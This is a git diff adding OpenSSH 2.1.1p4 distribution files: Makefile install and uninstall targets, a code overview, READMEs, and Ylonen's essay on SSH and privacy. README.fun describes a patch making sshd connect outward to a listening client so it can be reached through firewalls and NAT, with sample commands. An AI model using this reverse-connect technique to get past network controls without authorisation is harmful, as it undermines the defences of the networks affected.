+ ln -s ssh $(DESTDIR)$(bindir)/slogin + -rm -f $(DESTDIR)$(mandir)/$(mansubdir)1/slogin.1 + ln -s ssh.1 $(DESTDIR)$(mandir)/$(mansubdir)1/slogin.1 + if [ ! -f $(DESTDIR)$(sysconfdir)/ssh_config -a ! -f $(DESTDIR)$(sysconfdir)/sshd_config ]; then \ + ./mkinstalldirs $(DESTDIR)$(sysconfdir); \ + $(INSTALL) -m 644 ssh_config.out $(DESTDIR)$(sysconfdir)/ssh_config; \ + $(INSTALL) -m 644 sshd_config.out $(DESTDIR)$(sysconfdir)/sshd_config; \ + fi + if [ -f ssh_prng_cmds -a ! -z "$(INSTALL_SSH_PRNG_CMDS)" ]; then \ + $(PERL) fixprogs ssh_prng_cmds $(ENT); \ + $(INSTALL) -m 644 ssh_prng_cmds.out $(DESTDIR)$(sysconfdir)/ssh_prng_cmds; \ + fi + +host-key: ssh-keygen + if [ -z "$(DESTDIR)" ] ; then \ + if [ -f "$(DESTDIR)$(sysconfdir)/ssh_host_key" ] ; then \ + echo "$(DESTDIR)$(sysconfdir)/ssh_host_key already exists, skipping." ; \ + else \ + ./ssh-keygen -b 1024 -f $(DESTDIR)$(sysconfdir)/ssh_host_key -N "" ; \ + fi ; \ + if [ -f $(DESTDIR)$(sysconfdir)/ssh_host_dsa_key ] ; then \ + echo "$(DESTDIR)$(sysconfdir)/ssh_host_dsa_key already exists, skipping." ; \ + else \ + ./ssh-keygen -d -f $(DESTDIR)$(sysconfdir)/ssh_host_dsa_key -N "" ; \ + fi ; \ + fi ; + +host-key-force: ssh-keygen + ./ssh-keygen -b 1024 -f $(DESTDIR)$(sysconfdir)/ssh_host_key -N "" + ./ssh-keygen -d -f $(DESTDIR)$(sysconfdir)/ssh_host_dsa_key -N "" + +uninstallall: uninstall + -rm -f $(DESTDIR)$(sysconfdir)/ssh_config + -rm -f $(DESTDIR)$(sysconfdir)/sshd_config + -rm -f $(DESTDIR)$(sysconfdir)/ssh_prng_cmds + -rmdir $(DESTDIR)$(sysconfdir) + -rmdir $(DESTDIR)$(bindir) + -rmdir $(DESTDIR)$(sbindir) + -rmdir $(DESTDIR)$(mandir)/$(mansubdir)1 + -rmdir $(DESTDIR)$(mandir)/$(mansubdir)8 + -rmdir $(DESTDIR)$(mandir) + -rmdir $(DESTDIR)$(libexecdir) + +uninstall: + -rm -f $(DESTDIR)$(bindir)/ssh + -rm -f $(DESTDIR)$(bindir)/scp + -rm -f $(DESTDIR)$(bindir)/ssh-add + -rm -f $(DESTDIR)$(bindir)/ssh-agent + -rm -f $(DESTDIR)$(bindir)/ssh-keygen + -rm -f $(DESTDIR)$(sbindir)/sshd + -rm -f $(DESTDIR)$(mandir)/$(mansubdir)1/ssh.1 + -rm -f $(DESTDIR)$(mandir)/$(mansubdir)1/scp.1 + -rm -f $(DESTDIR)$(mandir)/$(mansubdir)1/ssh-add.1 + -rm -f $(DESTDIR)$(mandir)/$(mansubdir)1/ssh-agent.1 + -rm -f $(DESTDIR)$(mandir)/$(mansubdir)1/ssh-keygen.1 + -rm -f $(DESTDIR)$(mandir)/$(mansubdir)8/sshd.8 + -rm -f $(DESTDIR)$(bindir)/slogin + -rm -f $(DESTDIR)$(mandir)/$(mansubdir)1/slogin.1 + -rm -f $(DESTDIR)${ASKPASS_PROGRAM} + -rmdir $(DESTDIR)$(libexecdir)/ssh ; diff --git a/other/openssh-2.1.1p4/OVERVIEW b/other/openssh-2.1.1p4/OVERVIEW new file mode 100644 index 0000000..7f34ac4 --- /dev/null +++ b/other/openssh-2.1.1p4/OVERVIEW @@ -0,0 +1,164 @@ +This document is intended for those who wish to read the ssh source +code. This tries to give an overview of the structure of the code. + +Copyright (c) 1995 Tatu Ylonen +Updated 17 Nov 1995. +Updated 19 Oct 1999 for OpenSSH-1.2 + +The software consists of ssh (client), sshd (server), scp, sdist, and +the auxiliary programs ssh-keygen, ssh-agent, ssh-add, and +make-ssh-known-hosts. The main program for each of these is in a .c +file with the same name. + +There are some subsystems/abstractions that are used by a number of +these programs. + + Buffer manipulation routines + + - These provide an arbitrary size buffer, where data can be appended. + Data can be consumed from either end. The code is used heavily + throughout ssh. The basic buffer manipulation functions are in + buffer.c (header buffer.h), and additional code to manipulate specific + data types is in bufaux.c. + + Compression Library + + - Ssh uses the GNU GZIP compression library (ZLIB). + + Encryption/Decryption + + - Ssh contains several encryption algorithms. These are all + accessed through the cipher.h interface. The interface code is + in cipher.c, and the implementations are in libc. + + Multiple Precision Integer Library + + - Uses the SSLeay BIGNUM sublibrary. + - Some auxiliary functions for mp-int manipulation are in mpaux.c. + + Random Numbers + + - Uses arc4random() and such. + + RSA key generation, encryption, decryption + + - Ssh uses the RSA routines in libssl. + + RSA key files + + - RSA keys are stored in files with a special format. The code to + read/write these files is in authfile.c. The files are normally + encrypted with a passphrase. The functions to read passphrases + are in readpass.c (the same code is used to read passwords). + + Binary packet protocol + + - The ssh binary packet protocol is implemented in packet.c. The + code in packet.c does not concern itself with packet types or their + execution; it contains code to build packets, to receive them and + extract data from them, and the code to compress and/or encrypt + packets. CRC code comes from crc32.c. + + - The code in packet.c calls the buffer manipulation routines + (buffer.c, bufaux.c), compression routines (compress.c, zlib), + and the encryption routines. + + X11, TCP/IP, and Agent forwarding + + - Code for various types of channel forwarding is in channels.c. + The file defines a generic framework for arbitrary communication + channels inside the secure channel, and uses this framework to + implement X11 forwarding, TCP/IP forwarding, and authentication + agent forwarding. + The new, Protocol 1.5, channel close implementation is in nchan.c + + Authentication agent + + - Code to communicate with the authentication agent is in authfd.c. + + Authentication methods + + - Code for various authentication methods resides in auth-*.c + (auth-passwd.c, auth-rh-rsa.c, auth-rhosts.c, auth-rsa.c). This + code is linked into the server. The routines also manipulate + known hosts files using code in hostfile.c. Code in canohost.c + is used to retrieve the canonical host name of the remote host. + Code in match.c is used to match host names. + + - In the client end, authentication code is in sshconnect.c. It + reads Passwords/passphrases using code in readpass.c. It reads + RSA key files with authfile.c. It communicates the + authentication agent using authfd.c. + + The ssh client + + - The client main program is in ssh.c. It first parses arguments + and reads configuration (readconf.c), then calls ssh_connect (in + sshconnect.c) to open a connection to the server (possibly via a + proxy), and performs authentication (ssh_login in sshconnect.c). + It then makes any pty, forwarding, etc. requests. It may call + code in ttymodes.c to encode current tty modes. Finally it + calls client_loop in clientloop.c. This does the real work for + the session. + + - The client is suid root. It tries to temporarily give up this + rights while reading the configuration data. The root + privileges are only used to make the connection (from a + privileged socket). Any extra privileges are dropped before + calling ssh_login. + + Pseudo-tty manipulation and tty modes + + - Code to allocate and use a pseudo tty is in pty.c. Code to + encode and set terminal modes is in ttymodes.c. + + Logging in (updating utmp, lastlog, etc.) + + - The code to do things that are done when a user logs in are in + login.c. This includes things such as updating the utmp, wtmp, + and lastlog files. Some of the code is in sshd.c. + + Writing to the system log and terminal + + - The programs use the functions fatal(), log(), debug(), error() + in many places to write messages to system log or user's + terminal. The implementation that logs to system log is in + log-server.c; it is used in the server program. The other + programs use an implementation that sends output to stderr; it + is in log-client.c. The definitions are in ssh.h. + + The sshd server (daemon) + + - The sshd daemon starts by processing arguments and reading the + configuration file (servconf.c). It then reads the host key, + starts listening for connections, and generates the server key. + The server key will be regenerated every hour by an alarm. + + - When the server receives a connection, it forks, disables the + regeneration alarm, and starts communicating with the client. + They first perform identification string exchange, then + negotiate encryption, then perform authentication, preparatory + operations, and finally the server enters the normal session + mode by calling server_loop in serverloop.c. This does the real + work, calling functions in other modules. + + - The code for the server is in sshd.c. It contains a lot of + stuff, including: + - server main program + - waiting for connections + - processing new connection + - authentication + - preparatory operations + - building up the execution environment for the user program + - starting the user program. + + Auxiliary files + + - There are several other files in the distribution that contain + various auxiliary routines: + ssh.h the main header file for ssh (various definitions) + getput.h byte-order independent storage of integers + includes.h includes most system headers. Lots of #ifdefs. + tildexpand.c expand tilde in file names + uidswap.c uid-swapping + xmalloc.c "safe" malloc routines diff --git a/other/openssh-2.1.1p4/README b/other/openssh-2.1.1p4/README new file mode 100644 index 0000000..54adb10 --- /dev/null +++ b/other/openssh-2.1.1p4/README @@ -0,0 +1,69 @@ +[ A Japanese translation of this document is available at +[ http://www.unixuser.org/%7Eharuyama/security/openssh/index.html +[ Thanks to HARUYAMA Seigo + +******* IMPORTANT +* On systmes which lack a /dev/random driver, version of this port +* prior to 1.2.2 were not correctly seeding OpenSSL's random number +* pool. This resulted in lower quality RSA keys being generated. If +* you generated host or user keys with v1.2.2 or previous versions, +* please generate new ones using a more recent version. + +This is the port of OpenBSD's excellent OpenSSH to Linux and other +Unices. + +OpenSSH is based on the last free version of Tatu Ylonen's SSH with +all patent-encumbered algorithms removed (to external libraries), all +known security bugs fixed, new features reintroduced and many other +clean-ups. More information about SSH itself can be found in the file +README.Ylonen. OpenSSH has been created by Aaron Campbell, Bob Beck, +Markus Friedl, Niels Provos, Theo de Raadt, and Dug Song. It has a +homepage at http://www.openssh.com/ + +This port consists of the re-introduction of autoconf support, PAM +support (for Linux and Solaris), EGD[1] support and replacements for +OpenBSD library functions that are (regrettably) absent from other +unices. This port has been best tested on Linux, Solaris, HPUX, NetBSD +and Irix. Support for AIX, SCO, NeXT and other Unices is underway. +This version actively tracks changes in the OpenBSD CVS repository. + +The PAM support is now more functional than the popular packages of +commercial ssh-1.2.x. It checks "account" and "session" modules for +all logins, not just when using password authentication. + +OpenSSH depends on Zlib[2], OpenSSL[3] and optionally PAM[4]. + +There is now several mailing lists for this port of OpenSSH. Please +refer to http://www.openssh.com/list.html for details on how to join. + +Please send bug reports and patches to the mailing list +openssh-unix-dev@mindrot.org. The list is open to posting by +unsubscribed users. + +If you are a citizen of the USA or another country which restricts +export of cryptographic products, then please refrain from sending +crypto-related code or patches to the list. We cannot accept them. +Other code contribution are accepted, but please follow the OpenBSD +style guidelines[5]. + +Please refer to the INSTALL document for information on how to install +OpenSSH on your system. The UPGRADING document details differences +between this port of OpenSSH and F-Secure SSH 1.x. + +Damien Miller +Internet Business Solutions + +Miscellania - + +This version of SSH is based upon code retrieved from the OpenBSD CVS +repository which in turn was based on the last free +version of SSH released by Tatu Ylonen. + +References - + +[1] http://www.lothar.com/tech/crypto/ +[2] ftp://ftp.freesoftware.com/pub/infozip/zlib/ +[3] http://www.openssl.org/ +[4] http://www.kernel.org/pub/linux/libs/pam/ (PAM is standard on Solaris) +[5] http://www.openbsd.org/cgi-bin/man.cgi?query=style&sektion=9&apropos=0&manpath=OpenBSD+Current + diff --git a/other/openssh-2.1.1p4/README.Ylonen b/other/openssh-2.1.1p4/README.Ylonen new file mode 100644 index 0000000..38987b9 --- /dev/null +++ b/other/openssh-2.1.1p4/README.Ylonen @@ -0,0 +1,567 @@ + +[ Please note that this file has not been updated for OpenSSH and + covers the ssh-1.2.12 release from Dec 1995 only. ] + +Ssh (Secure Shell) is a program to log into another computer over a +network, to execute commands in a remote machine, and to move files +from one machine to another. It provides strong authentication and +secure communications over insecure channels. It is inteded as a +replacement for rlogin, rsh, rcp, and rdist. + +See the file INSTALL for installation instructions. See COPYING for +license terms and other legal issues. See RFC for a description of +the protocol. There is a WWW page for ssh; see http://www.cs.hut.fi/ssh. + +This file has been updated to match ssh-1.2.12. + + +FEATURES + + o Strong authentication. Closes several security holes (e.g., IP, + routing, and DNS spoofing). New authentication methods: .rhosts + together with RSA based host authentication, and pure RSA + authentication. + + o Improved privacy. All communications are automatically and + transparently encrypted. RSA is used for key exchange, and a + conventional cipher (normally IDEA, DES, or triple-DES) for + encrypting the session. Encryption is started before + authentication, and no passwords or other information is + transmitted in the clear. Encryption is also used to protect + against spoofed packets. + + o Secure X11 sessions. The program automatically sets DISPLAY on + the server machine, and forwards any X11 connections over the + secure channel. Fake Xauthority information is automatically + generated and forwarded to the remote machine; the local client + automatically examines incoming X11 connections and replaces the + fake authorization data with the real data (never telling the + remote machine the real information). + + o Arbitrary TCP/IP ports can be redirected through the encrypted channel + in both directions (e.g., for e-cash transactions). + + o No retraining needed for normal users; everything happens + automatically, and old .rhosts files will work with strong + authentication if administration installs host key files. + + o Never trusts the network. Minimal trust on the remote side of + the connection. Minimal trust on domain name servers. Pure RSA + authentication never trusts anything but the private key. + + o Client RSA-authenticates the server machine in the beginning of + every connection to prevent trojan horses (by routing or DNS + spoofing) and man-in-the-middle attacks, and the server + RSA-authenticates the client machine before accepting .rhosts or + /etc/hosts.equiv authentication (to prevent DNS, routing, or + IP-spoofing). + + o Host authentication key distribution can be centrally by the + administration, automatically when the first connection is made + to a machine (the key obtained on the first connection will be + recorded and used for authentication in the future), or manually + by each user for his/her own use. The central and per-user host + key repositories are both used and complement each other. Host + keys can be generated centrally or automatically when the software + is installed. Host authentication keys are typically 1024 bits. + + o Any user can create any number of user authentication RSA keys for + his/her own use. Each user has a file which lists the RSA public + keys for which proof of possession of the corresponding private + key is accepted as authentication. User authentication keys are + typically 1024 bits. + + o The server program has its own server RSA key which is + automatically regenerated every hour. This key is never saved in + any file. Exchanged session keys are encrypted using both the + server key and the server host key. The purpose of the separate + server key is to make it impossible to decipher a captured session by + breaking into the server machine at a later time; one hour from + the connection even the server machine cannot decipher the session + key. The key regeneration interval is configurable. The server + key is normally 768 bits. + + o An authentication agent, running in the user's laptop or local + workstation, can be used to hold the user's RSA authentication + keys. Ssh automatically forwards the connection to the + authentication agent over any connections, and there is no need to + store the RSA authentication keys on any machine in the network + (except the user's own local machine). The authentication + protocols never reveal the keys; they can only be used to verify + that the user's agent has a certain key. Eventually the agent + could rely on a smart card to perform all authentication + computations. + + o The software can be installed and used (with restricted + functionality) even without root privileges. + + o The client is customizable in system-wide and per-user + configuration files. Most aspects of the client's operation can + be configured. Different options can be specified on a per-host basis. + + o Automatically executes conventional rsh (after displaying a + warning) if the server machine is not running sshd. + + o Optional compression of all data with gzip (including forwarded X11 + and TCP/IP port data), which may result in significant speedups on + slow connections. + + o Complete replacement for rlogin, rsh, and rcp. + + +WHY TO USE SECURE SHELL + +Currently, almost all communications in computer networks are done +without encryption. As a consequence, anyone who has access to any +machine connected to the network can listen in on any communication. +This is being done by hackers, curious administrators, employers, +criminals, industrial spies, and governments. Some networks leak off +enough electromagnetic radiation that data may be captured even from a +distance. + +When you log in, your password goes in the network in plain +text. Thus, any listener can then use your account to do any evil he +likes. Many incidents have been encountered worldwide where crackers +have started programs on workstations without the owners knowledge +just to listen to the network and collect passwords. Programs for +doing this are available on the Internet, or can be built by a +competent programmer in a few hours. + +Any information that you type or is printed on your screen can be +monitored, recorded, and analyzed. For example, an intruder who has +penetrated a host connected to a major network can start a program +that listens to all data flowing in the network, and whenever it +encounters a 16-digit string, it checks if it is a valid credit card +number (using the check digit), and saves the number plus any +surrounding text (to catch expiration date and holder) in a file. +When the intruder has collected a few thousand credit card numbers, he +makes smallish mail-order purchases from a few thousand stores around +the world, and disappears when the goods arrive but before anyone +suspects anything. + +Businesses have trade secrets, patent applications in preparation, +pricing information, subcontractor information, client data, personnel +data, financial information, etc. Currently, anyone with access to +the network (any machine on the network) can listen to anything that +goes in the network, without any regard to normal access restrictions. + +Many companies are not aware that information can so easily be +recovered from the network. They trust that their data is safe +since nobody is supposed to know that there is sensitive information +in the network, or because so much other data is transferred in the +network. This is not a safe policy. + +Individual persons also have confidential information, such as +diaries, love letters, health care documents, information about their +personal interests and habits, professional data, job applications, +tax reports, political documents, unpublished manuscripts, etc. + +One should also be aware that economical intelligence and industrial +espionage has recently become a major priority of the intelligence +agencies of major governments. President Clinton recently assigned +economical espionage as the primary task of the CIA, and the French +have repeatedly been publicly boasting about their achievements on +this field. + + +There is also another frightening aspect about the poor security of +communications. Computer storage and analysis capability has +increased so much that it is feasible for governments, major +companies, and criminal organizations to automatically analyze, +identify, classify, and file information about millions of people over +the years. Because most of the work can be automated, the cost of +collecting this information is getting very low. + +Government agencies may be able to monitor major communication +systems, telephones, fax, computer networks, etc., and passively +collect huge amounts of information about all people with any +significant position in the society. Most of this information is not +sensitive, and many people would say there is no harm in someone +getting that information. However, the information starts to get +sensitive when someone has enough of it. You may not mind someone +knowing what you bought from the shop one random day, but you might +not like someone knowing every small thing you have bought in the last +ten years. + +If the government some day starts to move into a more totalitarian +direction (one should remember that Nazi Germany was created by +democratic elections), there is considerable danger of an ultimate +totalitarian state. With enough information (the automatically +collected records of an individual can be manually analyzed when the +person becomes interesting), one can form a very detailed picture of +the individual's interests, opinions, beliefs, habits, friends, +lovers, weaknesses, etc. This information can be used to 1) locate +any persons who might oppose the new system 2) use deception to +disturb any organizations which might rise against the government 3) +eliminate difficult individuals without anyone understanding what +happened. Additionally, if the government can monitor communications +too effectively, it becomes too easy to locate and eliminate any +persons distributing information contrary to the official truth. + +Fighting crime and terrorism are often used as grounds for domestic +surveillance and restricting encryption. These are good goals, but +there is considerable danger that the surveillance data starts to get +used for questionable purposes. I find that it is better to tolerate +a small amount of crime in the society than to let the society become +fully controlled. I am in favor of a fairly strong state, but the +state must never get so strong that people become unable to spread +contra-offical information and unable to overturn the government if it +is bad. The danger is that when you notice that the government is +too powerful, it is too late. Also, the real power may not be where +the official government is. + +For these reasons (privacy, protecting trade secrets, and making it +more difficult to create a totalitarian state), I think that strong +cryptography should be integrated to the tools we use every day. +Using it causes no harm (except for those who wish to monitor +everything), but not using it can cause huge problems. If the society +changes in undesirable ways, then it will be to late to start +encrypting. + +Encryption has had a "military" or "classified" flavor to it. There +are no longer any grounds for this. The military can and will use its +own encryption; that is no excuse to prevent the civilians from +protecting their privacy and secrets. Information on strong +encryption is available in every major bookstore, scientific library, +and patent office around the world, and strong encryption software is +available in every country on the Internet. + +Some people would like to make it illegal to use encryption, or to +force people to use encryption that governments can break. This +approach offers no protection if the government turns bad. Also, the +"bad guys" will be using true strong encryption anyway. Good +encryption techniques are too widely known to make them disappear. +Thus, any "key escrow encryption" or other restrictions will only help +monitor ordinary people and petty criminals. It does not help against +powerful criminals, terrorists, or espionage, because they will know +how to use strong encryption anyway. (One source for internationally +available encryption software is http://www.cs.hut.fi/crypto.) + + +OVERVIEW OF SECURE SHELL + +The software consists of a number of programs. + + sshd Server program run on the server machine. This + listens for connections from client machines, and + whenever it receives a connection, it performs + authentication and starts serving the client. + + ssh This is the client program used to log into another + machine or to execute commands on the other machine. + "slogin" is another name for this program. + + scp Securely copies files from one machine to another. + + ssh-keygen Used to create RSA keys (host keys and user + authentication keys). + + ssh-agent Authentication agent. This can be used to hold RSA + keys for authentication. + + ssh-add Used to register new keys with the agent. + + make-ssh-known-hosts + Used to create the /etc/ssh_known_hosts file. + + +Ssh is the program users normally use. It is started as + + ssh host + +or + + ssh host command + +The first form opens a new shell on the remote machine (after +authentication). The latter form executes the command on the remote +machine. + +When started, the ssh connects sshd on the server machine, verifies +that the server machine really is the machine it wanted to connect, +exchanges encryption keys (in a manner which prevents an outside +listener from getting the keys), performs authentication using .rhosts +and /etc/hosts.equiv, RSA authentication, or conventional password +based authentication. The server then (normally) allocates a +pseudo-terminal and starts an interactive shell or user program. + +The TERM environment variable (describing the type of the user's +terminal) is passed from the client side to the remote side. Also, +terminal modes will be copied from the client side to the remote side +to preserve user preferences (e.g., the erase character). + +If the DISPLAY variable is set on the client side, the server will +create a dummy X server and set DISPLAY accordingly. Any connections +to the dummy X server will be forwarded through the secure channel, +and will be made to the real X server from the client side. An +arbitrary number of X programs can be started during the session, and +starting them does not require anything special from the user. (Note +that the user must not manually set DISPLAY, because then it would +connect directly to the real display instead of going through the +encrypted channel). This behavior can be disabled in the +configuration file or by giving the -x option to the client. + +Arbitrary IP ports can be forwarded over the secure channel. The +program then creates a port on one side, and whenever a connection is +opened to this port, it will be passed over the secure channel, and a +connection will be made from the other side to a specified host:port +pair. Arbitrary IP forwarding must always be explicitly requested, +and cannot be used to forward privileged ports (unless the user is +root). It is possible to specify automatic forwards in a per-user +configuration file, for example to make electronic cash systems work +securely. + +If there is an authentication agent on the client side, connection to +it will be automatically forwarded to the server side. + +For more infomation, see the manual pages ssh(1), sshd(8), scp(1), +ssh-keygen(1), ssh-agent(1), ssh-add(1), and make-ssh-known-hosts(1) +included in this distribution. + + +X11 CONNECTION FORWARDING + +X11 forwarding serves two purposes: it is a convenience to the user +because there is no need to set the DISPLAY variable, and it provides +encrypted X11 connections. I cannot think of any other easy way to +make X11 connections encrypted; modifying the X server, clients or +libraries would require special work for each machine, vendor and +application. Widely used IP-level encryption does not seem likely for +several years. Thus what we have left is faking an X server on the +same machine where the clients are run, and forwarding the connections +to a real X server over the secure channel. + +X11 forwarding works as follows. The client extracts Xauthority +information for the server. It then creates random authorization +data, and sends the random data to the server. The server allocates +an X11 display number, and stores the (fake) Xauthority data for this +display. Whenever an X11 connection is opened, the server forwards +the connection over the secure channel to the client, and the client +parses the first packet of the X11 protocol, substitutes real +authentication data for the fake data (if the fake data matched), and +forwards the connection to the real X server. + +If the display does not have Xauthority data, the server will create a +unix domain socket in /tmp/.X11-unix, and use the unix domain socket +as the display. No authentication information is forwarded in this +case. X11 connections are again forwarded over the secure channel. +To the X server the connections appear to come from the client +machine, and the server must have connections allowed from the local +machine. Using authentication data is always recommended because not +using it makes the display insecure. If XDM is used, it automatically +generates the authentication data. + +One should be careful not to use "xin" or "xstart" or other similar +scripts that explicitly set DISPLAY to start X sessions in a remote +machine, because the connection will then not go over the secure +channel. The recommended way to start a shell in a remote machine is + + xterm -e ssh host & + +and the recommended way to execute an X11 application in a remote +machine is + + ssh -n host emacs & + +If you need to type a password/passphrase for the remote machine, + + ssh -f host emacs + +may be useful. + + + +RSA AUTHENTICATION + +RSA authentication is based on public key cryptograpy. The idea is +that there are two encryption keys, one for encryption and another for +decryption. It is not possible (on human timescale) to derive the +decryption key from the encryption key. The encryption key is called +the public key, because it can be given to anyone and it is not +secret. The decryption key, on the other hand, is secret, and is +called the private key. + +RSA authentication is based on the impossibility of deriving the +private key from the public key. The public key is stored on the +server machine in the user's $HOME/.ssh/authorized_keys file. The +private key is only kept on the user's local machine, laptop, or other +secure storage. Then the user tries to log in, the client tells the +server the public key that the user wishes to use for authentication. +The server then checks if this public key is admissible. If so, it +generates a 256 bit random number, encrypts it with the public key, +and sends the value to the client. The client then decrypts the +number with its private key, computes a 128 bit MD5 checksum from the +resulting data, and sends the checksum back to the server. (Only a +checksum is sent to prevent chosen-plaintext attacks against RSA.) +The server checks computes a checksum from the correct data, +and compares the checksums. Authentication is accepted if the +checksums match. (Theoretically this indicates that the client +only probably knows the correct key, but for all practical purposes +there is no doubt.) + +The RSA private key can be protected with a passphrase. The +passphrase can be any string; it is hashed with MD5 to produce an +encryption key for IDEA, which is used to encrypt the private part of +the key file. With passphrase, authorization requires access to the key +file and the passphrase. Without passphrase, authorization only +depends on possession of the key file. + +RSA authentication is the most secure form of authentication supported +by this software. It does not rely on the network, routers, domain +name servers, or the client machine. The only thing that matters is +access to the private key. + +All this, of course, depends on the security of the RSA algorithm +itself. RSA has been widely known since about 1978, and no effective +methods for breaking it are known if it is used properly. Care has +been taken to avoid the well-known pitfalls. Breaking RSA is widely +believed to be equivalent to factoring, which is a very hard +mathematical problem that has received considerable public research. +So far, no effective methods are known for numbers bigger than about +512 bits. However, as computer speeds and factoring methods are +increasing, 512 bits can no longer be considered secure. The +factoring work is exponential, and 768 or 1024 bits are widely +considered to be secure in the near future. + + +RHOSTS AUTHENTICATION + +Conventional .rhosts and hosts.equiv based authentication mechanisms +are fundamentally insecure due to IP, DNS (domain name server) and +routing spoofing attacks. Additionally this authentication method +relies on the integrity of the client machine. These weaknesses is +tolerable, and been known and exploited for a long time. + +Ssh provides an improved version of these types of authentication, +because they are very convenient for the user (and allow easy +transition from rsh and rlogin). It permits these types of +authentication, but additionally requires that the client host be +authenticated using RSA. + +The server has a list of host keys stored in /etc/ssh_known_host, and +additionally each user has host keys in $HOME/.ssh/known_hosts. Ssh +uses the name servers to obtain the canonical name of the client host, +looks for its public key in its known host files, and requires the +client to prove that it knows the private host key. This prevents IP +and routing spoofing attacks (as long as the client machine private +host key has not been compromized), but is still vulnerable to DNS +attacks (to a limited extent), and relies on the integrity of the +client machine as to who is requesting to log in. This prevents +outsiders from attacking, but does not protect against very powerful +attackers. If maximal security is desired, only RSA authentication +should be used. + +It is possible to enable conventional .rhosts and /etc/hosts.equiv +authentication (without host authentication) at compile time by giving +the option --with-rhosts to configure. However, this is not +recommended, and is not done by default. + +These weaknesses are present in rsh and rlogin. No improvement in +security will be obtained unless rlogin and rsh are completely +disabled (commented out in /etc/inetd.conf). This is highly +recommended. + + +WEAKEST LINKS IN SECURITY + +One should understand that while this software may provide +cryptographically secure communications, it may be easy to +monitor the communications at their endpoints. + +Basically, anyone with root access on the local machine on which you +are running the software may be able to do anything. Anyone with root +access on the server machine may be able to monitor your +communications, and a very talented root user might even be able to +send his/her own requests to your authentication agent. + +One should also be aware that computers send out electromagnetic +radition that can sometimes be picked up hundreds of meters away. +Your keyboard is particularly easy to listen to. The image on your +monitor might also be seen on another monitor in a van parked behind +your house. + +Beware that unwanted visitors might come to your home or office and +use your machine while you are away. They might also make +modifications or install bugs in your hardware or software. + +Beware that the most effective way for someone to decrypt your data +may be with a rubber hose. + + +LEGAL ISSUES + +As far as I am concerned, anyone is permitted to use this software +freely. However, see the file COPYING for detailed copying, +licensing, and distribution information. + +In some countries, particularly France, Russia, Iraq, and Pakistan, +it may be illegal to use any encryption at all without a special +permit, and the rumor has it that you cannot get a permit for any +strong encryption. + +This software may be freely imported into the United States; however, +the United States Government may consider re-exporting it a criminal +offence. + +Note that any information and cryptographic algorithms used in this +software are publicly available on the Internet and at any major +bookstore, scientific library, or patent office worldwide. + +THERE IS NO WARRANTY FOR THIS PROGRAM. Please consult the file +COPYING for more information. + + +MAILING LISTS AND OTHER INFORMATION + +There is a mailing list for ossh. It is ossh@sics.se. If you would +like to join, send a message to majordomo@sics.se with "subscribe +ssh" in body. + +The WWW home page for ssh is http://www.cs.hut.fi/ssh. It contains an +archive of the mailing list, and detailed information about new +releases, mailing lists, and other relevant issues. + +Bug reports should be sent to ossh-bugs@sics.se. + + +ABOUT THE AUTHOR + +This software was written by Tatu Ylonen . I work as a +researcher at Helsinki University of Technology, Finland. For more +information, see http://www.cs.hut.fi/~ylo/. My PGP public key is +available via finger from ylo@cs.hut.fi and from the key servers. I +prefer PGP encrypted mail. + +The author can be contacted via ordinary mail at + Tatu Ylonen + Helsinki University of Technology + Otakaari 1 + FIN-02150 ESPOO + Finland + + Fax. +358-0-4513293 + + +ACKNOWLEDGEMENTS + +I thank Tero Kivinen, Timo Rinne, Janne Snabb, and Heikki Suonsivu for +their help and comments in the design, implementation and porting of +this software. I also thank numerous contributors, including but not +limited to Walker Aumann, Jurgen Botz, Hans-Werner Braun, Stephane +Bortzmeyer, Adrian Colley, Michael Cooper, David Dombek, Jerome +Etienne, Bill Fithen, Mark Fullmer, Bert Gijsbers, Andreas Gustafsson, +Michael Henits, Steve Johnson, Thomas Koenig, Felix Leitner, Gunnar +Lindberg, Andrew Macpherson, Marc Martinec, Paul Mauvais, Donald +McKillican, Leon Mlakar, Robert Muchsel, Mark Treacy, Bryan +O'Sullivan, Mikael Suokas, Ollivier Robert, Jakob Schlyter, Tomasz +Surmacz, Alvar Vinacua, Petri Virkkula, Michael Warfield, and +Cristophe Wolfhugel. + +Thanks also go to Philip Zimmermann, whose PGP software and the +associated legal battle provided inspiration, motivation, and many +useful techniques, and to Bruce Schneier whose book Applied +Cryptography has done a great service in widely distributing knowledge +about cryptographic methods. + + +Copyright (c) 1995 Tatu Ylonen, Espoo, Finland. diff --git a/other/openssh-2.1.1p4/README.fun b/other/openssh-2.1.1p4/README.fun new file mode 100644 index 0000000..b696aca --- /dev/null +++ b/other/openssh-2.1.1p4/README.fun @@ -0,0 +1,51 @@ +Enabling reverse fun +==================== + +Reverse fun was 'invented' to allow users outside firewalls (which deny +any incoming connects) or users behind masquerading routers to use ssh. +In december 1999 on the Chaos Congress we faced the problem that the whole +network was NATed and therefore nobody could connect to one of our +ssh-servers. Dream-team TESO solved this problem by using scut's excellent +'reverb' which mapped two active connections together and brought +the client into internal network. I was very impressed and half a year +after I patched OpenSSH to allow such things to happen without use of +'third-party'-software. :) + +How it works +------------ + +When having reverse fun, the server (sshd) act's indeed as client and brings +a connect to the now-server 'ssh' outside the firewall. SSH-protocol +negotiation goes as normal then, and the user of ssh-client sees +no difference as if (s)he would do the connect normally. +Since the ssh-client acts as server until connect arrives, +it blocks the user's terminal until a person (or crond:) behind the +firewall initiates the connection. + +Security +-------- + +During reverse fun, the server must authenticate itself using +the host-key as usual, so you can be sure the right connection arrived when +no warning-message is placed on the screen. +Since ssh-client runs setuid-root, reverse fun might be a danger (high-port +bindings etc.). I've written it just for fun, and you propably shouldn't +run this patched OpenSSH on production-machines. + +IPv6 support is built in, but not tested. + + +Samples +------- + +client: + sshd -r foobar -p 7350 to connect to foobar:7350 where a client must listen + +server: + ssh -r -p 7350 to wait for incoming connects on port 7350 + + +When you have other funny idea's how to turn world upside down +with programming tricks, contact me: krahmer@cs.uni-potsdam.de + +-Sebastian diff --git a/other/openssh-2.1.1p4/README.openssh2 b/other/openssh-2.1.1p4/README.openssh2 new file mode 100644 index 0000000..12c90aa --- /dev/null +++ b/other/openssh-2.1.1p4/README.openssh2 @@ -0,0 +1,44 @@ +$Id: README.openssh2,v 1.8 2000/05/07 18:30:03 markus Exp $ + +howto: + 1) generate server key: + $ ssh-keygen -d -f /etc/ssh_host_dsa_key -N '' + 2) enable ssh2: + server: add 'Protocol 2,1' to /etc/sshd_config + client: ssh -o 'Protocol 2,1', or add to .ssh/config + 3) DSA authentication similar to RSA (add keys to ~/.ssh/authorized_keys2) + interop w/ ssh.com dsa-keys: + ssh-keygen -f /key/from/ssh.com -X >> ~/.ssh/authorized_keys2 + and vice versa + 